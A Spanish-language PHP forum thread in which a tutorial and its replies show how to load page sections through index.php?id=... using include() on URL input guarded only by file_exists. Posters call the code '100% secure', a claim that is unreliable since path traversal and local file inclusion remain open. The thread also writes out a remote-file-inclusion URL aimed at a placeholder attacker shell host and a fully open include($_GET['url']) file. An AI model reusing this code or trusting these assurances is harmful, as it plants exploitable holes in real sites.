Comunidad PHPeros

Lenguajes => PHP => Tutoriales PHP => Mensaje iniciado por: naveda en 02 de Enero de 2007, 22:31:27 pm

Título: Sistema de Modulación [index.php?id=seccion]
Publicado por: naveda en 02 de Enero de 2007, 22:31:27 pm
He visto que muchos estais interesados en aplicar un sistema de modulación a vuestro sitio web pero no entendeis muy bien que es lo que debeis hacer ni como lo teneis que aplicar. Por esto, me he decidido a crear este tutorial que constará de una unica parte en la que espero explicar con todo detalle el funcionamiento de un sistema de modulación del tipo:

archivo.php?id=seccion

Dicho esto empezaré dando una introducción sobre la utilidad de este sistema.
Un sistema de Modulación sirve para evitar tener que crear tantos archivos como secciones tengamos, por ejemplo, Si yo tuviera una web que tuviera la siguientes secciones:


Tendría que crear 3 archivos diferentes con el diseño de la web y el contenido de cada seccion, pero con el sistema de modulación solamente tendremos que tener creado un solo archivo con el diseño (normalmente es el index.php) y todas las secciones restantes solamente tendrían el contenido.

Voy a llevar esta idea a la realidad, para ello voy a hacer lo siguiente:


El archivo index.php podría ser algo como:
Código: [Seleccionar]
<html>
<head>
<title>Pagina web</title>
</head>
<body>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td valign="top" width="20%">:: Principal<br>
:: <a href="index.php?id=galeria">Galeria</a><br>
:: <a href="index.php?id=informacio">Información</a><br>
:: <a href="index.php?id=descargas">Descargas</a></td>
<td valign="top">
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?></td>
</tr>
</table>
</body>
</html>

principal.php
Código: [Seleccionar]
Bienvenido al tutorial sobre el SISTEMA DE MODULACION en PHPeros.net
informacion.php
Código: [Seleccionar]
Un Sistema de modulacion nos facilita el desarrollo de una web
Deducimos, por tanto, que el codigo que realiza la modulacion es el siguiente:
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ("./".$_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?>
Lo que hago es comprobar si existe la variable superglobal id, si existe compruebo si no es igual a index (provocaría un bucle infinito) y no esta vacio. Despues compruebo si existe el archivo correspondiente a la seccion que deseo ver y si existe lo incluyo para que se vea, sino muestro un error.

Si no ha elegido ninguna seccion, es decir, si no existe la variable superglobal id, se muestra la pagina principal :D

El sistema se aplica del siguiente modo:
Código: [Seleccionar]
<a href="index.php?id=galeria">Galeria</a><br>
<a href="index.php?id=informacion">Información</a><br>
<a href="index.php?id=descargas">Descargas</a>
Para poder añadir mas secciones, solamente debes crear un archivo por ejemplo que se llame archivo.php y crear otro enlace del siguiente tipo:
Código: [Seleccionar]
<a href="index.php?id=archivo">Seccion</a><br>
¿Alguna duda?
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: xmc254 en 11 de Enero de 2007, 17:49:53 pm
nave, pero mi host tiene para editar las paginas de error, ¿como podria hacer en un sistema de modulacion que redirijan a esas paginas de error?
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: naveda en 11 de Enero de 2007, 18:40:29 pm
Podría usarse la funcion header() para mostrar errores, 404, 400, 401... Pero como sabeis si hay algo escrito antes de usar esa función no funciona.
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: xmc254 en 12 de Enero de 2007, 23:52:04 pm
Podría usarse la funcion header() para mostrar errores, 404, 400, 401... Pero como sabeis si hay algo escrito antes de usar esa función no funciona.
dices que si no uso la funcion header() en el sistema de modulacion no funciona las pag de error o qu si no meto header() en las paginas de error no funciona la pag...
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: CarlosRdrz en 16 de Enero de 2007, 21:13:50 pm
El quiere deci que si escribes antes de la funcion header algunos tipos de codigos (echo, setcookie....), la funcion header no funcionara, con lo que no te servira para nada mostrar errores con esa funcion...
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: kekoman en 19 de Enero de 2007, 22:24:04 pm
explia un poco el codigo porfacor
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Balita en 08 de Julio de 2007, 16:37:44 pm
pero ami me habían dicho que ese codigo es el mas facil de hackear es verdad?
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Revancha en 08 de Julio de 2007, 16:41:40 pm
De qué hablas?. Este código es muuuuuuuuuy seguro.
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Balita en 08 de Julio de 2007, 17:27:21 pm
ah pues muchas gracias
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: CAEG en 10 de Julio de 2007, 18:23:14 pm
pero ami me habían dicho que ese codigo es el mas facil de hackear es verdad?
Pues a mi a simple vista me parece hackeable este script :S porque no estoy muy seguro despues lo probare en mi PC e intentare hacerle un rfi :S
si quieren checar si es hackeable hagan esto en el navegador pongan esto
tudominio.com/index.php?id=http://google.com
si les aparece google en la pagina esque es hackeable en caso de que te diga que el archivo no existe o algo asi esque es seguro  ;D
por cierto recuerden poner el HTTP antes de google porque si no no funciona :D
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: naveda en 10 de Julio de 2007, 18:59:04 pm
No es hackeable mediante RFI ;)
COMPROBADO - Seguro al 100%
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Lokonator en 11 de Julio de 2007, 04:46:20 am
si quieren checar si es hackeable hagan esto en el navegador pongan esto
tudominio.com/index.php?id=http://google.com
si les aparece google en la pagina esque es hackeable en caso de que te diga que el archivo no existe o algo asi esque es seguro  ;D

Y si de casualidad aparece la misma página (el index.php) en vez de la de google o una que no se puede abrir. ¿Que significa?
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: naveda en 11 de Julio de 2007, 13:25:50 pm
Yo lo he probado todo ya... No funciona el bug RFI en este sistema de modulación...
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: FeDe en 12 de Julio de 2007, 17:06:58 pm
Buenas,

No es "hackeable", debido a que la función file_exists, comprueba si existe el archivo en NUESTRO SERVIDOR (por cuenta de alojamiento).

Saludos.
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: naveda en 12 de Julio de 2007, 22:46:14 pm
El problema los codigos que son hackeables mediante RFI es que directamente hacen algo como:

include($_GET['id'].".php");

Con esto pueden hackearte directamente haciendo algo como:

http://www.tuweb.com/?id=http://www.webdelhacker.com/ruta_shell

Todos los archivos php podrán ser incrustados en tu web y de esta forma seria hackeada.
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: FeDe en 13 de Julio de 2007, 23:45:55 pm
Buenas,

El problema los codigos que son hackeables mediante RFI es que directamente hacen algo como:

include($_GET['id'].".php");

Con esto pueden hackearte directamente haciendo algo como:

http://www.tuweb.com/?id=http://www.webdelhacker.com/ruta_shell

Todos los archivos php podrán ser incrustados en tu web y de esta forma seria hackeada.

No todos, porque hay servidores que tienen safe_mode activado (en el php.ini), por lo tanto no funciaría ;)

Saludos.
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: lalitros en 08 de Agosto de 2007, 06:09:33 am
No es hackeable mediante RFI ;)
COMPROBADO - Seguro al 100%
Y todo eso, de donde lo sacas eh?
Me parece muy interesante. Eres muy muy GRANDE naveda!
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: G2K en 08 de Agosto de 2007, 08:33:59 am
De donde lo va a sacar? de su celebro xD
No es hackeable por RFI porque es imposible incluir un archivo exterior y si digo imposible es imposible xD

Un saludo ;)
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: FeDe en 08 de Agosto de 2007, 12:52:40 pm
Buenas,

No es imposible tampoco,, se podría hacer teniendo un archivo llamado remoto.php que cogiera & incluyera la url vía GET

remoto.php
<?
include($_GET["url"]);
?>

Y accediendo así ?id=remoto&url=url , se podría acceder ;), aunque sería de bobos hacer eso... pero alguno habrá..

Saludos :)
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: naveda en 08 de Agosto de 2007, 16:08:01 pm
Buenas,

No es imposible tampoco,, se podría hacer teniendo un archivo llamado remoto.php que cogiera & incluyera la url vía GET

remoto.php
<?
include($_GET["url"]);
?>

Y accediendo así ?id=remoto&url=url , se podría acceder ;), aunque sería de bobos hacer eso... pero alguno habrá..

Saludos :)

El se referia al codigo que yo he puesto.
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: FeDe en 08 de Agosto de 2007, 16:28:44 pm
Buenas,

Si, pero bueno yo doy posibilidades de hackeo, pero hay que ser muy bobo para hacer eso ;)

Saludos :P
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: G2K en 08 de Agosto de 2007, 17:33:01 pm
Fede muy bobo no... cualquier principiante o cualquier programador que pueda tener un despiste pum ya metio la pata ;)
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: javier_modding en 18 de Agosto de 2007, 07:54:12 am
naveda sabes hise todo eso con mi web con diseño etc pero me sale como 20 veces la web
para abajo -.-!
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: G2K en 18 de Agosto de 2007, 10:52:35 am
hombre logico... seguramente lo abras puesto abajo del codigo la web y fuera de la tabla que le toca xD
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: javier_modding en 19 de Agosto de 2007, 04:30:39 am
osea creo un marco o una tabla cosa que se abra ahy la porqueria aaa ya entendi lol XDDDDD  :P :P :P :P :P
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Adidi en 20 de Agosto de 2007, 13:17:10 pm
Buenas  ;D

Lo qué yo sigo teniendo problemas. Siempre pongo un sistema de modulación, pero esta vez, me da por ponerlo y no me sale nada en la web :S
No lo entiendo.

en el index pongo:
 
Código: [Seleccionar]
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?>

Y de hipervinculo
Código: [Seleccionar]
index.php?id=secciony creo el archivo principal, y en ese archivo pongo lo que quiero, pero una vez creado eso
en la web, no me sale nada  :'(

Alguien me puede ayudar?
Merci
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: G2K en 20 de Agosto de 2007, 13:23:17 pm
Tienes que ponerle de nombre al archivo igual del que quieres que ponga en id=nombre_del_archivo_a_incluir
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Adidi en 20 de Agosto de 2007, 13:31:27 pm
Tienes que ponerle de nombre al archivo igual del que quieres que ponga en id=nombre_del_archivo_a_incluir

Haber eso ya lo ago >.<
por ejemplo yo pongo
index.php?id=serdj
y esque no me va >.<

Es qué no lo entiendo, sigo todo los pasos que me dice naveda, pero nada.. no me sale :S
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: G2K en 20 de Agosto de 2007, 13:56:27 pm
Algo debes hacer mal! FIJO!

Repasatelo porfavor ;)
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Adidi en 20 de Agosto de 2007, 13:59:34 pm
Algo debes hacer mal! FIJO!

Repasatelo porfavor ;)

Haber... xDDDDD
Qué me lo e repasado 200 veces
y un amigo mio me lo esta repasando, y dice que tampoco encuentra el error :S

Que ago?  :(

Recuerdo qué puse esto:
Código: [Seleccionar]
<?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?>

Y para las secciones pongo:
Código: [Seleccionar]
index.php?id=secciony lo de seccion, se que ai que cambiarlo, que no soy tonto xD
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: CarlosRdrz en 20 de Agosto de 2007, 14:52:32 pm
Para ver si te equivocas tu o el codigo prueba a hacer esto:
1o - Crea index.php, y copia y pega el codigo de naveda en el
2o - Crea noticias.php y escribe lo que sea
3o - Ve a tu localhost a la pagina index y coloca en id: noticias
                    (index.php?id=noticias)
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Adidi en 20 de Agosto de 2007, 15:45:58 pm
Para ver si te equivocas tu o el codigo prueba a hacer esto:
1o - Crea index.php, y copia y pega el codigo de naveda en el
2o - Crea noticias.php y escribe lo que sea
3o - Ve a tu localhost a la pagina index y coloca en id: noticias
                    (index.php?id=noticias)

ize los 3 pasos y no me sale nada.. me sale en blanco :S

Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Enix en 30 de Septiembre de 2007, 21:44:11 pm
Sólo le veo un pequeño problema, cómo puedo hacer para que en el título de la web salga el nombre de la sección ? Porque solo sale el nombre de la web principal y me gustaría que quedase algo como
Código: [Seleccionar]
<title>titulo de la web - Nombre de la sección</title>
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: CarlosRdrz en 30 de Septiembre de 2007, 22:33:33 pm
Una solucion seria en el head del index.php hacer uso de if y $_GET


<html>
<head>
<?php
if($_GET['seccion'] == "Noticias") {
echo "<title>Mi web - Noticias</title>";
} else {
echo "<title>Mi web - Principal</title>";
}
?>
</head>
</html>


Saludos!
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: autorojo en 05 de Octubre de 2007, 19:01:06 pm
La duda anterior fue una torpeza porque yo no presté atención al leer ya que estaba apurado, y ahora tengo otra pregunta;

  Si yo hago eso, pongo en link en un lugar diferente de donde aparecerá la seccion "informacion.php" (por ejemplo), la seccion aparecerá donde está el link?, cómo hago para controlar dónde aparecera la seccion?



MODIFICADO 2:  No me contestan mi pregunta.. >.<

  Yo pongo el code

 <?PHP
if (isset($_GET['id'])) {
if (!empty($_GET['id']) && $_GET['id'] != "index") {
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("principal.php");
}
} else {
include ("principal.php");
}
?>

  en cierta tabla pero se que se abre en una nueva pestaña (Firefox)

¿Me podrian ayudar PORFAVOR, o hago un post nuevo en seccion ayuda php y MySQL?
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: lalitros en 29 de Octubre de 2007, 04:37:23 am
Hola, se que es un poco viejo el tema, no tanto, pro ni modo de abrir otro tema.
Miren, kiero saber como puedo abrir una pagina con modulacion, sobre otra modulacion;
Por ejemplo;
Tengo el index como modulacion, y otro archivo que se llama galeria.php entonces desde cualkier lado del index, lo mando a llamar cn un link asi: index.php?id=galeria no? ok... esta bien. Entonces, quiero saber si se puede poner en galeria.php otra modulacion, y q me mande a otro archiv PHP. Osea, modulacion sobre otra modulacion.

No se si me explike, pero podrian ayudarme?:s
Gracias y un Saludo!
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: kekoman en 29 de Octubre de 2007, 09:53:22 am
creo que si, se llama mod-rewrite
index.php?id=descargas seria igual que descargas.html
solo tienes que crear un archivo .htaccess en el index de tu directorio!
aqui te dejo lo que encontre en google:
fuente: http://www.peoplecnc.com/ayuda_mod_rewrite.html

MOD_REWRITE AYUDA PARA WEBMASTERS: Como convertir páginas dinámicas en estáticas


Como convertir una dirección web dinámica en estática?
Esta es una ayuda para crear direcciones estáticas usando la directiva unix mod_rewrite de Apache.

Que es una dirección web dinámica?
Son direcciones que pasan variables o parámetros a la página que esta siendo llamada.

Ejemplo: miprograma.html?mivariable=1

En este caso la dirección URL está separada en dos partes por el signo ? donde el objetivo es para un valor en la variable mivariable

La directiva en Apache mod_rewrite para lograr una dirección estática
La idea es lograr una direción URL más atractiva para los buscadores por ejemplo:

Miprograma-1.html

Como trabaja el MOD_REWRITE?
Uno de los principales problemas es entender como trabaja el Mod_rewrite: “una traducción en la marcha”, es decir, el servidor de aplicaciones responderá correctamente a los dos formatos de instrucción HTML, dinámica o estática.

No olvides que: Nunca verás una dirección estática si no la llamas específicamente, o en otras palabra estas deben ser llamadas en el formato correcto.

<a href="miprograma-1.html">MiPaginaWeb </a>

Seria algo asi:
.htaccess

Options +FollowSymLinks
RewriteEngine on
Rewriterule ^descargas(.*)\.html$ index.php?seccion=$descargas


Espero que te haya ayudado el tutorial!
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: CarlosRdrz en 29 de Octubre de 2007, 12:09:54 pm
Me parece que el no quiere eso...
Si no me equivoco lo que buscas es que si llamas a por ejemplo.
miweb.com?categoria=noticias&subcategorias=recientes
Te salga la pagina de noticias, y en ella la subcategoria "recientes".
Es tan facil como crear la modulacion, y en el archivo en este caso, noticias, crear OTRA modulacion, pero que en lugar de buscar la variable $_GET['categoria'] mire $_GET['subcategoria'].

Saludos
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: lalitros en 30 de Octubre de 2007, 02:52:11 am
Gracias por la Informacion kekoman, pro creo que no es a lo que me referia...
TLX, es a lo q me refiero...y gracias, pero... :S

Ya se que en esta web no se piden codigos, pro necesitaria algun ejemplo basico para guiarme, y darme una idea, estoy constryuendo una web con un sistema de administracion, y en una de ellas tengo un sistema de noticias que he creado, pero a cada pagina la llamo con un include y se me hace muy gorda la web, por eso quiero saber que onda, con el ejemplo que diste TLX [miweb.com?categoria=noticias&subcategorias=recientes] ALGO ASI. ya te entendi como, pero un  ejemplos asi basico basico pliss!!!

:D

un saludo!

modificacion

Bueno, si no se puede el ejemplo basico, me podrias decir un tema a lo que se refiera todo esto y asi busco en google, es como lo dijo kekoman?

Saludos
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: CarlosRdrz en 30 de Octubre de 2007, 08:43:06 am
Nop no es como dijo kekoman, imaginemos que tenemos un archivo index.php
Junto con index.php hay una carpeta llamada secciones, que contiene los archivos de las diferentes secciones de tu web (noticias, archivos...) Y junto a estas secciones hay otra carpeta llamada subsecciones que contiene las diferentes subsecciones de las secciones, (Noticias -> Mas recientes, Archivos -> Mas votados...)

En el index.php haces tu sistema de modulacion de toda la vida.

<?PHP
if (isset($_GET['categoria'])) {
if (!empty($_GET['categoria']) && $_GET['categoria'] != "index") {
if (file_exists("secciones/".$_GET['categoria'].".php")) {
include ("secciones/".$_GET['categoria'].".php");
} else {
echo "No existe esta seccion";
}
} else {
include ("secciones/noticias.php");
}
} else {
include ("secciones/noticias.php");
}
?>


Una vez hecho esto, ya tenemos la modulacion de una web, ahora faltaria añadir al noticias.php otra modulacion mas, para que muestre el archivo mas recientes por ejemplo.

noticias.php

<?PHP
if (isset($_GET['subcategoria'])) {
if (!empty($_GET['subcategoria']) && $_GET['subcategoria'] != "index") {
if (file_exists("secciones/subsecciones/".$_GET['subcategoria'].".php")) {
include ("secciones/subsecciones/".$_GET['subcategoria'].".php");
} else {
echo "No existe esta seccion";
}
}
}
?>


Ya deberia funcionar, que si vas a
miweb.com?categoria=noticias&subcategoria=recientes
Abriria el archivo noticias.php de la carpeta secciones, y dentro de este archivo, abriria el archivo recientes.php de la carpeta subsecciones.

Un saludo
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: lalitros en 02 de Noviembre de 2007, 18:24:32 pm
Antes que nada, gracias TLX que te preocupas por ayudarnos a todos los del foro
un gran gran saludo.

Ahora...

Ok ya entendi, pero por ejemplo. hago en el navegador la sig direccion:
www.miweb.com/index.php
Entonces en ese index pongo la modulacion, ok si correcto.

Pero en ese index, tengo un menu:
-Inicio
-Galerias
-Foro
-Administracion

1.ra Pregunta:
¿En cada una de las secciones tengo que poner modulacion por si existen mas subsecciones?

2.da Pregunta:
¿Como seria la direccion para ir a la carpeta "administracion", y dentro de esa carpeta hay dos, llamadas "Noticias" y "usuarios"?
¿Y si quiero ir a administracion-noticias?
¿Y si quiero ir a administracion-usuarios?

Gracias x sus respuestas!
Saludos
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: CarlosRdrz en 02 de Noviembre de 2007, 19:18:02 pm
Bueno, para la primera pregunta.
1. Si, en todas las paginas donde quieras tener una SUBmodulacion tendras que agregar ese codigo.

2. El sistema de modulacion no funciona dirijiendose a carpetas, sino a archivos, si quieres acceder a otras carpetas en lugar de las que yo puse en mi ejemplo, tendras que modificar el codigo (Es bastante facil, solo cambiando 'secciones/' por la carpeta de la modulacion principal y 'subsecciones/' por la carpeta de la modulacion secundaria)
Habiando cambiando secciones/ por administracion/ y subsecciones/ por noticias/ o usuarios/, ya solo te queda expecificar en la direccion el archivo que quieres abrir en esas carpetas.
miweb.com/index.php?seccion=admin&subseccion=index
Eso abriria el archivo admin.php de la carpeta "Administracion" y luego, dentro de ese archivo, abriria el archivo index.php de la carpeta "noticias" o de la carpeta "usuarios" segun como pongas el codigo fuente.

Espero que lo entiendas,
Saludos
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: lalitros en 03 de Noviembre de 2007, 04:11:09 am
Ok ya m lo estoy digeriendo! jajaj :D
Umm... y en cada carpeta; por ejemplo "administracion"... tengo q poner el index.php.. con el "diseño de la web" del index.php PRINCIPAL?
o como es eso? Supongo que si.
Cuando acabe les voy a mostrar la web.. :D

Un saludo y gracias por la ayuda TLX. ya tu sabes!
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: CarlosRdrz en 03 de Noviembre de 2007, 09:26:18 am
Bueno de nada... :P
No hace falta que pongas el diseño de la web, pues estos sistema se utilizan precisamente para eso.
En tu index.php PRINCIPAL pones tu diseño, y dejas un hueco donde quieres que se muestre el contenido de la modulacion, y en ese hueco escribes el codigo de la modulacion.
Una vez hecho esto, en el archivo a incluir solo tienes que poner lo que quieres que se muestre SIN DISEÑO, pues el diseño ya lo lleva el index.php PRINCIPAL.

Saludos!
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: lalitros en 03 de Noviembre de 2007, 18:40:46 pm
Ok, ya tengo entendido todo TLX, gracias!
Ahi te dejo un Karma + por la ayuda!
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Ronnyldinho en 02 de Febrero de 2008, 00:59:07 am
Amigos en realidad disculpen que publique y reviva este post, pero es que quiero agradecerles porque en menos de dos días aprendi a hacer un Sistema de Modulacion con complementos y subcarpetas de submodulacion

Les agradesco es una gran Web
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: alienmaster en 28 de Abril de 2008, 03:59:37 am
Revisa la seguridad del codigo, no es muy buena.
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Nacho-Cop en 06 de Mayo de 2008, 04:21:04 am
pues yo ya eh creado uno es un poc facil pero complicado  ;)
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: davidruben en 16 de Julio de 2008, 10:13:48 am
Muy bueno :D
Lo usare en mi web.
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: Microwall en 19 de Octubre de 2008, 04:09:11 am
Lamento reabrir el tema despues de tanto tiempo esta es mi pregunta.

Es decir que simplemente serian como iframes pero tipo modulados.

Saludos
Título: Re: Sistema de Modulación [index.php?id=seccion]
Publicado por: caha en 14 de Abril de 2009, 21:24:11 pm
comop podre tener 2 sistemas de modulacion en la misma pagina ? usarlos como iframes ? poder ver 2 cosas a el mismo tiempo sin que la otra cambie
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: OmaarV en 27 de Noviembre de 2009, 22:43:56 pm
Este tipo de sistema no deja libres el uso de SHELL?
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: westwest en 28 de Noviembre de 2009, 13:08:47 pm
Este tipo de sistema no deja libres el uso de SHELL?
Tal y como está aquí, no
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Siquillote en 28 de Noviembre de 2009, 13:29:30 pm
¿Que es SHELL?
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: TheGeorge en 29 de Noviembre de 2009, 16:22:58 pm
¿Que es SHELL?
Es un archivo basado en php basado en las funciones system(), execute(), cmd(), en el que puedes puedes manejar los archivos de un hosting como una WebFTP, y puede ser insertado en un host por medio de rfi.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Siquillote en 30 de Noviembre de 2009, 15:15:31 pm
Uhhhhmmm.... ??? XDD Bueno me tengo que leer algún tuto acerca eso :S
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: kekoman en 02 de Diciembre de 2009, 11:43:41 am
Es un archivo basado en php basado en las funciones system(), execute(), cmd(), en el que puedes puedes manejar los archivos de un hosting como una WebFTP, y puede ser insertado en un host por medio de rfi.
Un shell o una vulnerabilidad RFI, es la ejecucion de codigo PHP arbitrario en una pagina web.
Un saludo!!
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: x.mara.x en 26 de Diciembre de 2009, 14:26:33 pm
Este tipo de sistema no deja libres el uso de SHELL?
no, porque (repitiendo ya por la 5ta vez lo que han dicho los demas) verifica que el archivo exista en el host usando file_exists()
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Daniiel en 05 de Junio de 2010, 21:02:09 pm
Pero yo no quieor que obtenga archivos.php sino carpetas, como lo hago.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Warlox en 06 de Junio de 2010, 00:36:56 am
Pues si lo que quieres es abrir un archivo .php en X carpeta, solo debes especificarlo en la URL. Osea que si pones http://miweb.com/index.php?seccion=noticias/ver, abriría el archivo http://miweb.com/noticias/ver.php.

¿Es eso lo que quieres?
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Daniiel en 06 de Junio de 2010, 02:43:37 am
Pues si lo que quieres es abrir un archivo .php en X carpeta, solo debes especificarlo en la URL. Osea que si pones http://miweb.com/index.php?seccion=noticias/ver, abriría el archivo http://miweb.com/noticias/ver.php.

¿Es eso lo que quieres?
No yo solo quieor la acrpeta es decir si la carpeta se llama ''micarpeta'' pues abrirlo asi: misitio.com?=micarpeta
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Warlox en 06 de Junio de 2010, 07:25:35 am
Entonces modifica el código original :P es sencillo, sólo usa la lógica...
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Daniiel en 06 de Junio de 2010, 15:50:25 pm
Entonces modifica el código original :P es sencillo, sólo usa la lógica...
Ya lo he intentado mira como le he dajdo, peor da fallo:

Código: [Seleccionar]
<?PHP



if (isset($_GET['id'])) {





if (!empty($_GET['id']) && $_GET['id'] != "index") {







if (file_exists($_GET['id'])) {









include ("./".$_GET['id']");







} else {









echo "No existe esta seccion";







}





} else {







include ("principal.php");





}



} else {





include ("principal.php");



}
?>
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Siquillote en 06 de Junio de 2010, 16:49:41 pm

¿por que no usas htacces?
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Warlox en 06 de Junio de 2010, 18:19:51 pm
<?php
if(isset($_GET['carpeta']))
{
if(!empty($_GET['carpeta']))
{
if(file_exists($_GET['carpeta'].'/index.php'))
{
include($_GET['carpeta'].'/index.php');
}
else
{
echo 'Esta carpeta no existe.';
}
}
else
{
include("noticias/index.php");
}
}
else
{
include("noticias/index.php");
}
?>

Ahí ya está, para acceder a X carpeta sólo debes de poner http://tuweb.com/index.php?carpeta=NOMBREDELACARPETA ;)
Saludos.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: Daniiel en 06 de Junio de 2010, 20:20:49 pm
<?php
if(isset($_GET['carpeta']))
{
if(!empty($_GET['carpeta']))
{
if(file_exists($_GET['carpeta'].'/index.php'))
{
include($_GET['carpeta'].'/index.php');
}
else
{
echo 'Esta carpeta no existe.';
}
}
else
{
include("noticias/index.php");
}
}
else
{
include("noticias/index.php");
}
?>

Ahí ya está, para acceder a X carpeta sólo debes de poner http://tuweb.com/index.php?carpeta=NOMBREDELACARPETA ;)
Saludos.
Miiiiiiiiiiil gracias, ahora lo pruebo, te ganas un karma.
Título: Re:Sistema de Modulación [index.php?id=seccion]
Publicado por: jerry699 en 05 de Agosto de 2010, 23:15:36 pm
Hola chicos, perdonar que reviva el post, pero estoy utilizando este sistema de modulación y me ha surgido un problema con las cookies.

Bien, el problema es el conocido
Código: [Seleccionar]
Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\portal\index.php:45) in C:\xampp\htdocs\portal\login.php on line 34

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\portal\index.php:45) in C:\xampp\htdocs\portal\login.php on line 35

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\portal\index.php:45) in C:\xampp\htdocs\portal\login.php on line 36

Como bien sabreis no puede haber salida html ni echos espacios en blanco etc antes de poner una setcookie, aqui pongo parte de mi index.php:

Código: [Seleccionar]
<?PHP
          if (isset($_GET['id'])) {
            if (!empty($_GET['id']) && $_GET['id'] != "index") {
               if (file_exists($_GET['id'].".php")) {
                  include ($_GET['id'].".php");
               } else {
                  echo "No existe esta seccion";
               }
            } else {
               include ("principal.php");
            }
         } else {
            include ("principal.php");
         }
      ?>

</div>
</div>
</div>
<!-- end #content -->
<div id="sidebar">
<ul>
    <?PHP
include 'cookie.php';
if($loginCorrecto){echo "<br>Bienvenido <b>".$_COOKIE["usNick"]."</b>";}
else{
include ("login.php");}


    ?>

Llamo a login.php (obviamente hay salida html y php anterior en el index.php) que contiene un formulario que envia los datos asi mismo y es en setcookie (logico) donde saltan los errores:

Código: [Seleccionar]

<?PHP @session_start();
if (isset($_POST['action']) == "checkdata2") {
}
else{ @header("Location: http://localhost/portal/"); };
?>
<li id="search">
<h3>LOGIN</h3>

<?PHP
$usuario = $_POST['usuario'];
$password = $_POST['password'];
include ("registro/conexion.php");
